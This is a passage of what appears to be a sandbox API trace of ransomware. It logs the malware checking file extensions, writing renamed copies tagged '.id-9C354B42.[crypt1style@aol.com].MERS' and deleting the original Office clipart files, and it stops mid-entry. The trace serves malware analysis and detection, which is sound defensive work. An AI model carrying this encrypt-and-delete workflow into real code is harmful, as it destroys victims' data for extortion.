[0270.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString=".xls") returned 4 [0270.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.764] lstrlenW (lpString=".xlsx") returned 5 [0270.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.764] lstrlenW (lpString=".ppt") returned 4 [0270.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0270.764] lstrlenW (lpString=".zip") returned 4 [0270.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.764] lstrlenW (lpString=".rar") returned 4 [0270.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString=".bz2") returned 4 [0270.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString=".7z") returned 3 [0270.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0270.765] lstrlenW (lpString=".dbf") returned 4 [0270.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0270.765] lstrlenW (lpString=".1cd") returned 4 [0270.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0270.765] lstrlenW (lpString=".jpg") returned 4 [0270.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.765] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.765] lstrlenW (lpString="BD08758_.WMF") returned 12 [0270.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0270.765] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=24320) returned 1 [0270.765] CloseHandle (hObject=0x3ec) returned 1 [0270.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0270.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0270.766] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.766] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0270.767] GetLastError () returned 0x0 [0270.767] ReadFile (in: hFile=0x3ec, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x5f00, lpOverlapped=0x0) returned 1 [0270.813] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x5f10, lpOverlapped=0x0) returned 1 [0270.814] ReadFile (in: hFile=0x3ec, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.814] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.814] SetEndOfFile (hFile=0x3a8) returned 1 [0270.814] CloseHandle (hObject=0x3a8) returned 1 [0270.814] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.814] SetEndOfFile (hFile=0x3ec) returned 1 [0270.819] CloseHandle (hObject=0x3ec) returned 1 [0270.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0270.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0270.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0270.954] lstrlenW (lpString=".doc") returned 4 [0270.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.954] lstrlenW (lpString=".docx") returned 5 [0270.954] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.954] lstrlenW (lpString=".pdf") returned 4 [0270.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.954] lstrlenW (lpString=".xls") returned 4 [0270.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.954] lstrlenW (lpString=".xlsx") returned 5 [0270.954] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.954] lstrlenW (lpString=".ppt") returned 4 [0270.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0270.954] lstrlenW (lpString=".zip") returned 4 [0270.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.954] lstrlenW (lpString=".rar") returned 4 [0270.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.954] lstrlenW (lpString=".bz2") returned 4 [0270.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.954] lstrlenW (lpString=".7z") returned 3 [0270.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0270.954] lstrlenW (lpString=".dbf") returned 4 [0270.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0270.954] lstrlenW (lpString=".1cd") returned 4 [0270.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0270.955] lstrlenW (lpString=".jpg") returned 4 [0270.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0270.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0270.955] lstrlenW (lpString=".doc") returned 4 [0270.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.955] lstrlenW (lpString=".docx") returned 5 [0270.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.955] lstrlenW (lpString=".pdf") returned 4 [0270.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.955] lstrlenW (lpString=".xls") returned 4 [0270.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.955] lstrlenW (lpString=".xlsx") returned 5 [0270.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.955] lstrlenW (lpString=".ppt") returned 4 [0270.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0270.955] lstrlenW (lpString=".zip") returned 4 [0270.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.955] lstrlenW (lpString=".rar") returned 4 [0270.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.955] lstrlenW (lpString=".bz2") returned 4 [0270.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.956] lstrlenW (lpString=".7z") returned 3 [0270.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0270.956] lstrlenW (lpString=".dbf") returned 4 [0270.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0270.956] lstrlenW (lpString=".1cd") returned 4 [0270.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0270.956] lstrlenW (lpString=".jpg") returned 4 [0270.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.956] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.956] lstrlenW (lpString="BD09194_.WMF") returned 12 [0270.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0270.957] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=14540) returned 1 [0270.957] CloseHandle (hObject=0x360) returned 1 [0270.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0270.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0270.957] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.957] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0270.958] GetLastError () returned 0x0 [0270.958] ReadFile (in: hFile=0x360, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x38cc, lpOverlapped=0x0) returned 1 [0271.069] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x38d0, lpOverlapped=0x0) returned 1 [0271.070] ReadFile (in: hFile=0x360, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.070] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.071] SetEndOfFile (hFile=0x3b8) returned 1 [0271.071] CloseHandle (hObject=0x3b8) returned 1 [0271.071] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.071] SetEndOfFile (hFile=0x360) returned 1 [0271.073] CloseHandle (hObject=0x360) returned 1 [0271.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0271.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0271.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0271.074] lstrlenW (lpString=".doc") returned 4 [0271.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.074] lstrlenW (lpString=".docx") returned 5 [0271.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.074] lstrlenW (lpString=".pdf") returned 4 [0271.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.074] lstrlenW (lpString=".xls") returned 4 [0271.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.074] lstrlenW (lpString=".xlsx") returned 5 [0271.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.074] lstrlenW (lpString=".ppt") returned 4 [0271.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0271.074] lstrlenW (lpString=".zip") returned 4 [0271.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.074] lstrlenW (lpString=".rar") returned 4 [0271.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.074] lstrlenW (lpString=".bz2") returned 4 [0271.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.074] lstrlenW (lpString=".7z") returned 3 [0271.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0271.074] lstrlenW (lpString=".dbf") returned 4 [0271.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0271.075] lstrlenW (lpString=".1cd") returned 4 [0271.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0271.075] lstrlenW (lpString=".jpg") returned 4 [0271.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0271.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0271.075] lstrlenW (lpString=".doc") returned 4 [0271.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.075] lstrlenW (lpString=".docx") returned 5 [0271.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.075] lstrlenW (lpString=".pdf") returned 4 [0271.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.075] lstrlenW (lpString=".xls") returned 4 [0271.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.075] lstrlenW (lpString=".xlsx") returned 5 [0271.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.075] lstrlenW (lpString=".ppt") returned 4 [0271.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0271.075] lstrlenW (lpString=".zip") returned 4 [0271.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.075] lstrlenW (lpString=".rar") returned 4 [0271.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.075] lstrlenW (lpString=".bz2") returned 4 [0271.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.075] lstrlenW (lpString=".7z") returned 3 [0271.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0271.075] lstrlenW (lpString=".dbf") returned 4 [0271.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0271.076] lstrlenW (lpString=".1cd") returned 4 [0271.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0271.076] lstrlenW (lpString=".jpg") returned 4 [0271.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.076] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0271.076] lstrlenW (lpString="BD10972_.GIF") returned 12 [0271.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0271.112] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=20189) returned 1 [0271.112] CloseHandle (hObject=0x3d0) returned 1 [0271.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0271.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0271.119] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.119] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0271.119] GetLastError () returned 0x0 [0271.119] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x4edd, lpOverlapped=0x0) returned 1 [0271.246] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0271.270] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.270] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.270] SetEndOfFile (hFile=0x3b0) returned 1 [0271.270] CloseHandle (hObject=0x3b0) returned 1 [0271.270] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.270] SetEndOfFile (hFile=0x3d0) returned 1 [0271.282] CloseHandle (hObject=0x3d0) returned 1 [0271.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0271.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0271.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0271.325] lstrlenW (lpString=".doc") returned 4 [0271.325] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.325] lstrlenW (lpString=".docx") returned 5 [0271.325] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0271.325] lstrlenW (lpString=".pdf") returned 4 [0271.325] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.325] lstrlenW (lpString=".xls") returned 4 [0271.325] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.325] lstrlenW (lpString=".xlsx") returned 5 [0271.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0271.325] lstrlenW (lpString=".ppt") returned 4 [0271.325] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0271.325] lstrlenW (lpString=".zip") returned 4 [0271.325] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.325] lstrlenW (lpString=".rar") returned 4 [0271.325] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.325] lstrlenW (lpString=".bz2") returned 4 [0271.325] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.325] lstrlenW (lpString=".7z") returned 3 [0271.325] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0271.325] lstrlenW (lpString=".dbf") returned 4 [0271.325] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0271.326] lstrlenW (lpString=".1cd") returned 4 [0271.326] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0271.326] lstrlenW (lpString=".jpg") returned 4 [0271.326] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0271.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0271.326] lstrlenW (lpString=".doc") returned 4 [0271.326] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.326] lstrlenW (lpString=".docx") returned 5 [0271.326] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0271.326] lstrlenW (lpString=".pdf") returned 4 [0271.326] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.326] lstrlenW (lpString=".xls") returned 4 [0271.326] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.326] lstrlenW (lpString=".xlsx") returned 5 [0271.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0271.326] lstrlenW (lpString=".ppt") returned 4 [0271.326] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0271.326] lstrlenW (lpString=".zip") returned 4 [0271.326] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.326] lstrlenW (lpString=".rar") returned 4 [0271.326] 